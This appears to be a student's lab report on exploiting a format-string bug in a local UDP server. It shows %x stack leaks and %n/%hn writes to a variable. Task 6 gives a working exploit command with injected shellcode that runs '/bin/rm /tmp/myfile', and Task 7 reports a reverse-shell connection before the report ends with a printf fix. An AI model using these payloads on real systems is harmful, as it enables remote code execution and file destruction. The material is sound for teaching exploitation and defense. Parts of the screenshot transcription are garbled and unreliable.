

Lab3

Task1:

run and test the program.

The image shows two terminal windows side-by-side. The left window is titled 'root@kali-WSU: ~/Desktop/lab3' and contains the following session:

```
File Edit View Search Terminal Help
root@kali-WSU:~# cd Desktop
root@kali-WSU:~/Desktop# cd lab3
root@kali-WSU:~/Desktop/lab3# ls
server server.c
root@kali-WSU:~/Desktop/lab3# nc -u 127.0.0.1 9090
hello
%x
%?%x%?
%?
%?%s%?
%d
exit
hello
^C
root@kali-WSU:~/Desktop/lab3# nc -u 127.0.0.1 9090
hello
hi
[]
```

The right window is also titled 'root@kali-WSU: ~/Desktop/lab3' and shows the response from the client:

```
File Edit View Search Terminal Help
root@kali-WSU:~/Desktop/Lab3# ./server
The address of the secret: 0x08048780
The address of the 'target' variable: 0x08049b0c
The value of the 'target' variable (before): 0x11223344
The address of the 'msg' argument: 0xbffffee40
hello
The value of the 'target' variable (after): 0x11223344
hi
The value of the 'target' variable (after): 0x11223344
[]
```

Task2:

print the value in the stack:

```
The address of the 'msg' argument: 0xbffffee90
AAAAbffffee90b7efac3180486d03bffffeeacbffff4b880486e2bffffeeacbffff48810804
861fb7e22fe5b7fdf5fe804827d41414141
```

so the stack is :

0xbffffee54	bffffee90	b7efac31	080486d0(return address)
0xbffffee64	00000003	bffffeeac	bffff4b8	080486e2
0xbffffee74	bffffeeac	bffff488	00000010	0804861f
0xbffffee84	b7e22fe5	b7fdf5fe	0804827d	41414141

location 1's address is 0xbffffee58

location 2's address is 0xbffffee60

location 3's address is 0xbffffee90

The distance is 0x38;

Task3:

The program get invalid address so it crashed.

The screenshot shows two terminal windows side-by-side. The left window is titled 'root@kali-WSU: ~/Desktop/lab3' and contains the following session:

```
File Edit View Search Terminal Help
exit
hello
^C
root@kali-WSU:~/Desktop/lab3# nc -u 127.0.0.1 9090
hello
hi
^C
root@kali-WSU:~/Desktop/lab3# nc -u 127.0.0.1 9090
AAAAAAAAAAAAA
AAAAAAAAAAAAA
AAAAAAAAAAAAA
AAAAAAAAAAAAA
AAAAAAAAAAAAA
AAAAAAAAAAAAA
AAAAAAAAAAAAA
%75%75%75%75%
%8s
%75%75%75%75%
%75%75%75%75%
^C
root@kali-WSU:~/Desktop/lab3# nc -u 127.0.0.1 9090
%75%75%75%
```

The right window is also titled 'root@kali-WSU: ~/Desktop/lab3' and contains the following session:

```
File Edit View Search Terminal Help
root@kali-WSU:~/Desktop/lab3# ./server
The address of the secret: 0x08048780
The address of the 'target' variable: 0x08049b0c
The value of the 'target' variable (before): 0x11223344
The address of the 'msg' argument: 0xbffffee40
Segmentation fault
root@kali-WSU:~/Desktop/lab3#
```

Task4:

A: print stack value: use %x to show the data in the stack.

B:print Heap value: get to the place where store the address of the heap position and print it.

Task5:

A: change to a different value: use %x to get to the position, %n to store the number.

```
root@kali-WSU:~/Desktop/lab3# echo $(printf "\x0c\x9b\x04\x08")%x%x%x%x%x%x%x%x%| nc -u 127.0.0.1 9090
The address of the 'msg' argument: 0xbffffe40
0bffffe40b7efac3180486d03bffffe5cbffff46880486e2bffffe5cbffff43810804861fb7e22fe5b7fdf5fe804827d secret message

The value of the 'target' variable (after): 0x11223344
The address of the 'msg' argument: 0xbffffe40
0bffffe40b7efac3180486d03bffffe5cbffff46880486e2bffffe5cbffff43810804861fb7e22fe5b7fdf5fe804827d
The value of the 'target' variable (after): 0x00000063
```

B: change to 500:use last %x to print enough character.

C:change to FF990000: use %hn to modify the words by 2 bytes each time.

Task6: Inject Malicious Code into the Server Program to remove a file

We need to **insert the shell code** and **modify the return address** to the begin address of the code.

We need to modify the content of the address 0xbffee0e and 0xbffee0c. So the first part is used to modify the return address and then the code.

Q: It should be noted that we can put NOP (\0x90) at the beginning of our shellcode to make our life easier.

Reason: In this way, even if we fail to jump to the start address of Shellcode, jump to NOP can also smoothly enter Shellcode and improve our fault tolerance rate.

The code is in the buffer and after the "\x.....".

input:

```
[root@kali-WSU:~/Desktop/lab3# echo $(printf "\x0e\xee\xff\xbf@@@\x0c\xee\xff\xbf")%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.49035x%hn %.11908x%hn $(printf "\x90\x90\x90\x90\x31\xc0\x50\x68bash\x68///\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x68ile \x68/my\x68/tmp\x68/rm \x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0\b\xcd\x80") | nc -u 127.0.0.1 9090
^C
[root@kali-WSU:~/Desktop/lab3#
```

running result :

```
root@kali-WSU:/tmp# vim myfile.w Search Terminal Help
root@kali-WSU:/tmp# ls
myfile ← before
ssh-2Yc2IeV0N8cs
systemd-private-10ce7c8788414671b0d97f4dccc0f91-colord.service-QHXQYp
systemd-private-10ce7c8788414671b0d97f4dccc0f91-rtkit-daemon.service-smwdyw
tracker-extract-files.0
VMwareDnD
vmware-root ↓ Download
vmware-root_953-3979774151
root@kali-WSU:/tmp# ls
ssh-2Yc2IeV0N8cs
systemd-private-10ce7c8788414671b0d97f4dccc0f91-colord.service-QHXQYp
systemd-private-10ce7c8788414671b0d97f4dccc0f91-rtkit-daemon.service-smwdyw
tracker-extract-files.0
VMwareDnD
vmware-root ↓ Trash
vmware-root_953-3979774151
root@kali-WSU:/tmp#
```

Task7: run a different program

We just modify the code part of the shellcode.

input:

running result: connect successfully!

```
root@kali-WSU:/tmp# nc -lvp 7070
listening on [any] 7070 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 37191
root@kali-WSU:/tmp# █
```

```
The value of the 'target' variable (after): 0x11223344
process 3616 is executing new program: /bin/bash
[New process 3624]
/bin///bash: 12: Bad file descriptor
[Inferior 2 (process 3624) exited with code 01]
Warning: not running
```

Task 8:

2.8 Task 8: Fixing the Problem

Remember the warning message generated by the `gcc` compiler? Please explain what it means. Please fix the vulnerability in the server program, and recompile it. Does the compiler warning go away? Do your attacks still work? You only need to try one of your attacks to see whether it still works or not.

This means that the format passed in is not a string literal (string variable or constant) and has no string type arguments.

Fix it:

I replace `printf(msg)` with `printf(%s, msg)`.

The attack fails.

fe5b7fdf5fe0804827d41414141
The value of the 'target' variable (after): 0x11223344
"C
root@kali-WSU:~/Desktop/lab3# ./server
The address of the secret: 0x08048780
The address of the 'target' variable: 0x08049b10
The value of the 'target' variable (before): 0x11223344
The address of the 'msg' argument: 0xbffffe90
[AAAA%x%?%x]
The value of the 'target' variable (after): 0x11223344

root@kali-WSU:~/Desktop/lab3# nc -u 127.0.0.1 9
AAAAA%x%?%x

"server.c" selected [1.4]

The screenshot shows a debugger interface with two panes. The left pane displays assembly code and memory dump information. The right pane shows the terminal output of a exploit development session. A red box highlights the string "[AAAA%x%?%x]" in the memory dump, which corresponds to the payload sent to the server. Another red box highlights the "AAAAA%x%?%x" string in the terminal output, which is the response from the server.